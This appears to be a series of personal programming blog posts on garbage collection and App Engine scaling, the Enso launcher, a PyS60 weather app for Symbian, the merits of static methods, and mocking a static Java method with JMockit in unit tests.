-->

The side effect is that once programmers don't have to deal with the annoying problems of memory management, nobody can do it any more. I mean, there are a bunch of really smart guys who really dig these issues (and write memory managers) and there is the rest of us, who knows next to nothing about it. All we know is that there is a GC, that it's reasonably fast and that we can rely on it. I interview internship candidates as a part of my job. Hardly any of them knows anything above that.  That means no teacher ever mentions those topics in their classes.

Is this a bad thing? I don't think so. I don't really think we all should be bugged with such petty details. Sure, knowing the internals of the GC of your VM of choice is essential at some points but these moments are few and far between. There are more important and more interesting things to worry about day in and day out.

Now, how does it all relates to GAE?

Scaling a web app is hard. There are some ground rules but each case is different, really. The software conferences are full of 'How we scaled Flickr/Twitter/Another cool app' talks. They are full of scary words, words like 'denormalization' or 'sharding'...

But there are new development environment starting to emerge. GAE is a good example - it eases up scaling by taking care of the infrastructure. Scaling isn't a no-brainer (yet) but developers has been relieved of a huge chunk of scaling burden. There are other, more important and more interesting things to take care in your application.

I think that in a couple of years (dozen, if we're unlucky) there will be a small group of super-smart scaling guys, working on frameworks like those and a huge crowd of "ordinary" web developers who just doesn't care. They will use what will be available and don't give a second though of what's being done behind their backs in terms of scaling their apps.

And, just as it is today, hand-crafting will give you faster, less resource-hungry app but it won't be economically viable. The competition will develop faster and cheaper, while the infrastructure cost will be only slightly higher.

Is this a bad thing? I don't think so.

The article got me thinking. I've been using Enso for couple months now and I simply can't use my computer without it any more. It takes the friendliness of a standard Windows to a whole new level. 

It's much harder to explain it with mere words. You'd better go to their site and watch a screencast or even better - try it out. It's free.

There are to features of Enso which make it so damn useful for me: One, I don't have to remember the exact name of a command I want to execute. Two, I can give names to various important items (files, URLs) and use them in commands.

Enso allows me to start an application using any part of its name. For example, I don't have to remember that Visio's real name is Microsoft Office Visio. When I start typing "Visio", Enso gives me hints on available commands that match with letters entered. Two-three letters are usually enough.

There are a couple of files I use on regular basis. They are nicely put in the file system hierarchy, according to the projects, versions, dates... This makes it very hard to navigate to where they lie. Since I started using Enso I named them and can open them without even opening any directories. Works like magic

Well, this post is not really about Enso. I think Enso is just a beginning. The natural language technologies will get more and more popular. Maybe eventually computers will just understand what we talk to them but it's not the point. The point is: the more we're dependent on software in our daily tasks, the more natural language they will need to understand. Natural language is the most effective means we have to communicate. It's not perfect though. It's like democracy: it has many drawbacks but we don't have anything better. We sometimes boost communication using pictures ("A picture is worth thousand words"), but still a conversation is best way to understand each other or to explain ideas.

And actually it is being done. Compare the results of googling "GM food" and "GM car".  Google now "understand" the context of the search and "knows" what GM stands form. 

We communicate with software so we need to use our most effective means.

-->

I've added a very simple function. In addition to showing current conditions, now you've got two more tabs with forecast for today and tomorrow.

Enjoy.

-->

I used Python to create a small weather application. When started, it asks for the city. Then, it fetches weather condition and forecast from Google. Then it displays current conditions. That's it.

I spent most of the development time on researching how you do things on Symbian and in PyS60. And, well, it's easier then I expected.

So, there's much more to do to make it a useful app - default city, for example, list of previously entered cities, choice between Celsius and Fahrenheit... Or getting the city from cell location. That would be neat!

If anyone wants to take a look, here it is!. (Sorry, no screen shots. I don't know yet how to make them )

-->

Now the world of Symbian Python programming is mine oyster, which I with my emacs will open.

-->

Do any of you have any experience with Symbian phones in general and this Nokia in particular?

(Worse, my wife wants one too. Ughgh, my budget is strained after Christmas even without those!)

-->

Though I do agree with his general point - code that is hard to test probably is a bad code and should be refactored - I don't agree with the claim that static methods are pure evil.

First, static methods are a part of the language and are very useful at times. Replacing them blindly with, say, dependency injection would be a classic example of overengineering a problem. It's just not worth it. Static method is a very simple solution to a very simple problem. It can be overused, as any element of the language, but using it is not a bad design all by itself.

Second, I tend to treat developers as responsible grown-up people (as long as programming, and only programming is concerned, of course). I want them (and me) to have all the tools and means necessary to shoot their own foot should they wish so. I'd rather have tools I could accidentaly hurt myself with - like with a lot of work to implement a change later in the lifecycle of a piece of software - then having the tools that would limit me in my job. That's why I prefer Python to Java. And I think that's the reason Java evolves towards giving developers more control over what they can do with the language. In other words, thank you Mr Language Designer, I know how to handle a gun, you don't have to limit me in my desire to point it to my foot.

And third - I cannot just call somebody at Sun and say: "Listen up, I don't like that System.getEnv is static. You'd better make it a real method in Java 7, 'cuz you're making my code hard to test." I actually like that method being static. I think it should be static. It's the right usage of a static method. The same can be said about lots of other methods and other libraries. And I found a simple way to test code that uses them.

-->

I've been writing a small piece of code recently. Since I'm test-infected, I cannot sleep well unless I've got test cases for everything I write. And I do use mock objects a lot - I test all my methods both in isolation.

Sometimes writing a piece of functionality as a static method is the right way to go. However, if I want to test a method that uses the static one, I can't isolate it! I was almost sick because of that breach in my solid testing strategy! I just had to solve it!

So, let's consider a simple static function:

 
public class Library {
    static public Map<String, String> getFileteredEnv() {
        Map<String, String> env = System.getenv();
        Map<String, String> retenv = new HashMap<String, String>();
        Set<String> keys = env.keySet();
        for(String key : keys) {
            if (key.length() &lt; 7) {
                retenv.put(key, env.get(key));
            }
        }
        return retenv;
    }
}

All it does is returning a list of environment variables which names have less than 7 characters. (Hey, it's just an example!)

So, there is a function which actually uses it. For the same of example, it's equally stupid:

 
public class ImportantClass {
    public int getSizeOfShortEnvironmentVariables() {
        Map<String, String> envs = Library.getFileteredEnv();
        return envs.size();
    }
}

So, since the static function relies on the current state of the environment on the machine I run the test, it seems I can't reliably test the non-static one. A mock is not just a whim. I'd say it's a necessity!

At first, I was thinking about hacking the class loader to intercept the request to load Library class and return a mock instead. Fortunately I invented the solution when I was driving and I couldn't code it right away. A couple hours later I sat in front of my computer and started with Google (instead of launching Eclipse right away).

What I found was just plain incredible. Watch this:

 
class MockupLibrary {
    static public Map<String, String> getFileteredEnv() {
        Map<String, String> map = new HashMap<String, String>();
        map.put("Test", "ABC");
        map.put("Else", "def");
        return map;
        }
}

This is a mock version of the Library. It returns a controlled list of variables. Now, how do I put it in action?

 
@Before
public void setUp() {
    Mockit.redefineMethods(Library.class, MockupLibrary.class);
}

Isn't it cool? Thanks to JMockit (and java.lang.instrument), it is that simple! The simplicity and sheer coolness made me a fun of that library right away. A core of JMockit consists of a single class and a handful of methods. They do most of the job. And there are some nice features build upon it (like annotations).

And I guess I have to take a closer look at j.l.instrument. I just loooove this kinds of programming magic!

And, oh, BTW, you can redefine methods in a final class as well!

-->

Awesome.

(P.S. The only think I miss in Python in a easy and portable and good-looking GUI toolkit.)

-->